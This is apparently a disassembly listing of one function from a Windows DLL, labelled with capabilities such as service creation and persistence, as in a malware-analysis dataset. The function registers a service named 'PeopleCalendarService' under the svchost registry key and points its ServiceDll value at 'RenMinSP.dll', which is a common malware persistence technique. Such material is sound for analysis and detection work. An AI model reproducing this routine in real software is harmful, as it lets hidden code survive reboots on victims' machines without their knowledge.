Function at 0x10002cf0
Capabilities:
Create service
Get common file path
Persist via windows service
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xa3c]
sub esp, 0xa3c
push 0xffffffffffffffff
push 0x10024d20
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x10033d40]
xor eax, ebp
mov dword [ebp + 0xa38], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call fcn.10002670
mov esi, eax
call fcn.10003b40
mov eax, dword [str.Failed_to_load_driver.]
mov dword [esi + 0x170], eax
mov ecx, dword [0x1002c2a4]
mov dword [esi + 0x174], ecx
mov edx, dword [0x1002c2a8]
mov dword [esi + 0x178], edx
mov eax, dword [0x1002c2ac]
mov dword [esi + 0x17c], eax
mov ecx, dword [0x1002c2b0]
mov dword [esi + 0x180], ecx
mov edx, dword [0x1002c2b4]
xor ebx, ebx
push 0x206
lea eax, [ebp + 0x62a]
push ebx
mov dword [esi + 0x184], edx
push eax
mov word [ebp + 0x628], bx
call fcn.10013d00
add esp, 0xc
call fcn.10002670
mov edi, 8
cmp dword [eax + 0xa8], edi
jb 0x10002db6
mov edx, dword [eax + 0x94]
jmp 0x10002dbc
lea edx, [eax + 0x94]
mov eax, edx
mov dword [ebp + 0x18], 7
mov dword [ebp + 0x14], ebx
mov word [ebp + 4], bx
lea esi, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10002dd0
sub eax, esi
sar eax, 1
push eax
push edx
lea esi, [ebp]
call fcn.10002300
push 0xc
push str.RenMinSP.dll
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.10003710
cmp dword [ebp + 0x18], edi
mov ecx, dword [ebp + 4]
jae 0x10002e05
lea ecx, [ebp + 4]
lea edx, [ebp + 0x628]
jmp 0x10002e10
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, bx
jne 0x10002e10
push str.InstallService_Start
push 0x1002c334
call fcn.10006920
push 0x3e6
lea ecx, [ebp + 0x242]
push ebx
mov byte [ebp - 4], 1
push ecx
mov dword [ebp - 0x20], VariantClear
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
mov word [ebp + 0x240], bx
call fcn.10013d00
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push 0x80000002
mov dword [ebp - 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x18], esi
je 0x10002ebd
push str.InstallService_if__ERROR_SUCCESS___rc__1
push 0x1002c334
call fcn.10006920
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push str.RegOpenKeyEx__s__KEY_QUERY_VALUE_error__d.
call fcn.100036f0
add esp, 0x14
push 0x10030634
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x38], 0x1002c2dd
call fcn.10012530
push 0x206
lea ecx, [ebp + 0x832]
push ebx
push ecx
mov word [ebp + 0x830], bx
call fcn.10013d00
push str.PeopleCalendarService
lea edx, [ebp + 0x830]
push 0x1002c334
push edx
call fcn.1000fe42
lea eax, [ebp + 0x830]
add esp, 0x18
lea edx, [eax + 2]
jmp 0x10002f00
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10002f00
sub eax, edx
mov edx, dword [ebp - 0x24]
sar eax, 1
add eax, eax
push eax
lea ecx, [ebp + 0x830]
push ecx
push 7
push ebx
push str.PeopleCalendarService
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
push 0x80000002
call esi
mov eax, str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp + 0x240]
lea esp, [esp]
movzx edx, word [eax]
mov word [ecx], dx
add eax, 2
add ecx, 2
cmp dx, bx
jne 0x10002f50
lea edi, [ebp + 0x240]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x10002f70
mov eax, dword [ebp - 0x20]
mov ecx, 0xb
mov esi, str.PeopleCalendarService
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push ebx
lea edx, [ebp + 0x240]
push edx
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x10002fd9
push str.InstallService_if__ERROR_SUCCESS___rc__2
push 0x1002c334
call fcn.10006920
add esp, 8
call fcn.10003490
push 0x10030634
lea ecx, [ebp - 0x4c]
push ecx
mov dword [ebp - 0x4c], str.Svchost_already_install
call fcn.10012530
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x28], edi
jne 0x10003016
push str.InstallService_hscm__NULL
push 0x1002c334
call fcn.10006920
add esp, 8
push 0x10030634
lea edx, [ebp - 0x34]
push edx
mov dword [ebp - 0x34], str.OpenSCManager__
call fcn.10012530
push 0x206
lea eax, [ebp + 0x3a]
push ebx
push eax
mov word [ebp + 0x38], bx
call fcn.10013d00
add esp, 0xc
push 0x104
lea ecx, [ebp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp + 0x38]
mov dword [ebp + 0x34], 7
mov dword [ebp + 0x30], ebx
mov word [ebp + 0x20], bx
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10003050
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp + 0x38]
push edx
lea esi, [ebp + 0x1c]
call fcn.10002300
push 0x10
push str._svchost.exe__k
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.10003710
push 0x15
push str.PeopleCalendarService
mov ecx, esi
call fcn.10003710
cmp dword [ebp + 0x34], 8
mov eax, dword [ebp + 0x20]
jae 0x10003098
lea eax, [ebp + 0x20]
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push 1
push 2
push 0x20
push 0xf01ff
push ebx
push str.PeopleCalendarService
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
cmp eax, ebx
mov dword [ebp - 0x2c], eax
jne 0x100030e4
push str.InstallService_schService__NULL
push 0x1002c334
call fcn.10006920
add esp, 8
push 0x10030634
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x30], 0x1002c2dd
call fcn.10012530
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
call esi
mov ecx, str.SOFTWARE
lea edx, [ebp + 0x240]
jmp 0x10003100
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, bx
jne 0x10003100
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push ebx
lea edx, [ebp + 0x240]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x1000315d
push str.InstallService_ERROR_SUCCESS___rc_3
push 0x1002c334
call fcn.10006920
add esp, 8
push 0x10030634
lea ecx, [ebp - 0x40]
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x40], 0x1002c2dd
call fcn.10012530
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x1c]
push edx
push str.PeopleCalendarService
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x1000319e
push str.InstallService_ERROR_SUCCESS___rc_4
push 0x1002c334
call fcn.10006920
add esp, 8
push 0x10030634
lea ecx, [ebp - 0x48]
push ecx
mov dword [ebp - 0x48], str.RegCreateKey_PeopleCalendarService_
call fcn.10012530
lea eax, [ebp + 0x628]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x100031a7
mov ecx, dword [ebp - 0x1c]
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
push edx
lea eax, [ebp + 0x628]
push eax
push 2
push ebx
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, str.SYSTEMCurrentControlSetServices_
lea edx, [ebp + 0x240]
mov edi, edi
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, bx
jne 0x100031e0
lea edi, [ebp + 0x240]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x10003200
lea edx, [ebp - 0x14]
push edx
push 0xf003f
push ebx
mov ecx, 0xb
mov esi, str.PeopleCalendarService
lea eax, [ebp + 0x240]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x10003264
push str.InstallService_ERROR_SUCCESS___rc_5
push 0x1002c334
call fcn.10006920
add esp, 8
push 0x10030634
lea edx, [ebp - 0x50]
push edx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x50], 0x1002c2dd
call fcn.10012530
mov ecx, 0x1002c700
lea edx, [ebp + 0x830]
nop
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, bx
jne 0x10003270
lea eax, [ebp + 0x830]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10003290
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub eax, edx
mov edx, dword [ebp - 0x14]
sar eax, 1
add eax, eax
push eax
lea ecx, [ebp + 0x830]
push ecx
push 1
push ebx
push str.Description
push edx
call esi
mov ecx, str.PeopleCalendar_Service
lea edx, [ebp + 0x830]
jmp 0x100032d0
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, bx
jne 0x100032d0
lea eax, [ebp + 0x830]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x100032f0
sub eax, edx
mov edx, dword [ebp - 0x14]
sar eax, 1
add eax, eax
push eax
lea ecx, [ebp + 0x830]
push ecx
push 1
push ebx
push str.DisplayName
push edx
call esi
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
push str.Parameters
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call edi
cmp esi, ebx
je 0x10003363
push str.InstallService_ERROR_SUCCESS___rc_6
push 0x1002c334
call fcn.10006920
add esp, 8
push 0x10030634
lea edx, [ebp - 0x44]
push edx
mov dword [ebp - 0x44], str.RegCreateKey_Parameters_
call fcn.10012530
lea eax, [ebp + 0x628]
push eax
push str.ServiceDll:__s_
call fcn.10006920
lea eax, [ebp + 0x628]
add esp, 8
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10003380
sub eax, edx
sar eax, 1
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x1c]
push ecx
lea edx, [ebp + 0x628]
push edx
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call edi
cmp esi, ebx
je 0x100033df
push str.InstallService_ERROR_SUCCESS___rc_7
push 0x1002c334
call fcn.10006920
add esp, 8
push 0x10030634
lea ecx, [ebp - 0x3c]
push ecx
mov dword [ebp - 0x3c], str.RegSetValueEx_ServiceDll_
call fcn.10012530
cmp dword [ebp + 0x34], 8
jb 0x100033f1
mov edx, dword [ebp + 0x20]
push edx
call fcn.100074bc
add esp, 4
mov dword [ebp + 0x34], 7
mov dword [ebp + 0x30], ebx
mov word [ebp + 0x20], bx
jmp 0x1000340c
mov eax, dword [ebp - 0x20]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call edi
mov ecx, dword [ebp - 0x1c]
push ecx
call edi
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
je 0x1000342c
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x28]
cmp eax, ebx
je 0x1000343a
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.InstallService_End
push 0x1002c334
call fcn.10006920
add esp, 8
cmp dword [ebp + 0x18], 8
jb 0x1000345e
mov edx, dword [ebp + 4]
push edx
call fcn.100074bc
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xa38]
xor ecx, ebp
call fcn.10010273
add ebp, 0xa3c
mov esp, ebp
pop ebp
ret